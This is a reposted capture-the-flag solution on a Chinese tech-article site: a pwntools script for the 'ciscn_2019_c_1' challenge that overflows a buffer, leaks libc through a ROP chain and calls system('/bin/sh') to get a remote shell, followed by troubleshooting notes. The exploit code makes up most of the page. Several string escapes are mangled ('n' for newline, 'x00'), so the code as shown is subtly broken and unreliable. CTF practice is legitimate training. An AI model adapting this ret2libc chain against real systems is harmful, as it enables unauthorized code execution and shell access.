栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 系统运维 > 运维 > Linux

ciscn

Linux 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

ciscn

from pwn import *
from LibcSearcher import *

context.os='linux'
context.arch='amd64'
# context.log_level='debug'

ru=lambda x:io.recvuntil(x)
rl=lambda :io.recvline()
sla=lambda x,y:io.sendlineafter(x,y)

io=remote('node4.buuoj.cn',27181)
elf=ELF('./ciscn_2019_c_1')

ret=0x4006b9
pop_rdi=0x400c83
main=elf.sym['main']
puts_plt=elf.plt['puts'] 
puts_got=elf.got['puts']

sla('choice!n','1')
payload=b'a'*(0x50+8)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
sla('encryptedn',payload)
io.recvuntil("Ciphertextn")
io.recvuntil("n")
puts=u64(io.recvuntil('n',drop=True).ljust(8,b'x00'))
print(hex(puts),type(puts))
libc=LibcSearcher('puts',puts)
print(libc)
libc_addr=puts-libc.dump('puts')
binsh=libc_addr+libc.dump('str_bin_sh')
system=libc_addr+libc.dump('system')
sla('choice!n','1')
payload=b'a'*(0x50+8)+p64(ret)+p64(pop_rdi)+p64(binsh)+p64(system)
sla('encryptedn',payload)

io.interactive()

抄的别人的脚本,只做了简单修改,在ubuntu18虚拟机,python3环境正常运行(win10报警,No matched libc, please add more libc or try others;python2运行报警,The address should be an int number,貌似因为puts=u64(io.recvuntil('n',drop=True).ljust(8,b'x00')),puts的类型为long,而下一句的libc=LibcSearcher('puts',puts),需要puts为int类型。用python3运行可解决此问题。)

期间会询问libc版本,选0号

 

libcsearcher这个东西好几个版本,调起来真费劲,请使用pip install libcsearcher ,目前为1.1.5

转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/451104.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号